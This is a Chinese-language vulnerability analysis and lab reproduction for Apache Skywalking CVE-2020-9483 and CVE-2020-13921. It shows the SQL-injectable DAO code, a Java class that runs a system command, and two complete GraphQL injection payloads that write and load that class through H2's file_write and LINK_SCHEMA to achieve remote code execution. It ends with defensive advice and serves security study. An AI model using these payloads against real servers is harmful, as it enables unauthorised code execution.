Apache Skywalking 远程代码执行漏洞(CVE-2020-13921、CVE-2020-9483)
字数 1297 2025-08-09 09:46:33
Apache Skywalking 远程代码执行漏洞分析(CVE-2020-13921、CVE-2020-9483)
漏洞概述
Apache Skywalking 是一款应用性能监控(APM)系统,在8.3.0及以下版本中存在两个严重漏洞:
- CVE-2020-9483 - SQL注入漏洞
- CVE-2020-13921 - 远程代码执行漏洞
这两个漏洞结合利用可导致攻击者在目标服务器上执行任意代码。
环境搭建
所需环境
- 目标服务器:Ubuntu系统运行Skywalking 8.3.0
- 攻击机:Windows 10
- 调试环境:IntelliJ IDEA
安装步骤
- 下载Skywalking 8.3.0:
https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz - 解压并启动:
tar -xvf apache-skywalking-apm-8.3.0.tar.gz cd apache-skywalking-apm-bin/bin ./startup.sh - 默认访问地址:
http://ip:8080
漏洞分析
1. SQL注入漏洞(CVE-2020-9483)
漏洞位置:
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2LogQueryDAO.java
漏洞原理:
metricName参数未经过滤直接拼接到SQL语句中,导致SQL注入。
关键代码:
public List<Log> queryLogs(String metricName, int limit, int from,
String traceId) throws IOException {
String sql = buildCountStatement(metricName, traceId);
// ...
}
private String buildCountStatement(String metricName, String traceId) {
return "select * from " + metricName + " limit " + limit;
}
2. 远程代码执行漏洞(CVE-2020-13921)
利用条件:
结合SQL注入漏洞,利用H2数据库特性实现RCE。
利用链:
- 通过SQL注入使用
file_write()函数写入恶意class文件 - 使用H2的
LINK_SCHEMA()函数加载恶意类 - 恶意类静态代码块中的代码将被执行
漏洞复现
1. 准备恶意类
创建TouchFile.java:
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success123"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
public static void main(String[] args) {}
}
编译为class文件:
javac TouchFile.java -target 1.6 -source 1.6
2. 将class文件转换为16进制
使用H2数据库的file_read()函数:
SELECT file_read('/path/to/TouchFile.class');
3. 利用SQL注入写入class文件
发送以下GraphQL请求:
{
"query": "query queryLogs($condition: LogQueryCondition) { logs: queryLogs(condition: $condition) { data: logs { serviceName serviceId serviceInstanceName serviceInstanceId endpointName endpointId traceId timestamp isError statusCode contentType content } total } }",
"variables": {
"condition": {
"metricName": "INFORMATION_SCHEMA.USERS union all select file_write('cafebabe...','TouchFile.class'))a where 1=? or 1=? or 1=? --",
"endpointId": "1",
"traceId": "1",
"state": "ALL",
"stateCode": "1",
"paging": {
"pageNum": 1,
"pageSize": 1,
"needTotal": true
}
}
}
}
4. 触发恶意类执行
发送以下GraphQL请求:
{
"query": "query queryLogs($condition: LogQueryCondition) { logs: queryLogs(condition: $condition) { data: logs { serviceName serviceId serviceInstanceName serviceInstanceId endpointName endpointId traceId timestamp isError statusCode contentType content } total } }",
"variables": {
"condition": {
"metricName": "INFORMATION_SCHEMA.USERS union all select LINK_SCHEMA('TEST2','TouchFile','jdbc:h2:./test2','sa','sa','PUBLIC'))a where 1=? or 1=? or 1=? --",
"endpointId": "1",
"traceId": "1",
"state": "ALL",
"stateCode": "1",
"paging": {
"pageNum": 1,
"pageSize": 1,
"needTotal": true
}
}
}
}
技术细节
GraphQL请求构造
Skywalking使用GraphQL作为API接口,请求分为两部分:
query:定义查询结构和期望返回的字段variables:定义查询参数
关键点:
queryLogs是GraphQL查询入口LogQueryCondition是输入参数类型metricName是存在注入的参数
H2数据库利用
-
file_write()函数:SELECT file_write('十六进制数据', '文件名');用于将二进制数据写入文件
-
LINK_SCHEMA()函数:LINK_SCHEMA('数据库名', '驱动类', 'JDBC URL', '用户名', '密码', '模式')会触发类加载行为,加载指定类
-
Class.forName()机制:- 当
initialize参数为true时,会执行类的静态代码块 - 这是RCE的关键点
- 当
防御措施
- 升级到最新版本
- 对用户输入进行严格过滤
- 限制H2数据库的危险函数
- 使用最小权限原则运行服务
总结
这两个漏洞展示了从SQL注入到RCE的完整攻击链,攻击者可以完全控制目标服务器。理解这些漏洞有助于更好地防御类似的安全威胁。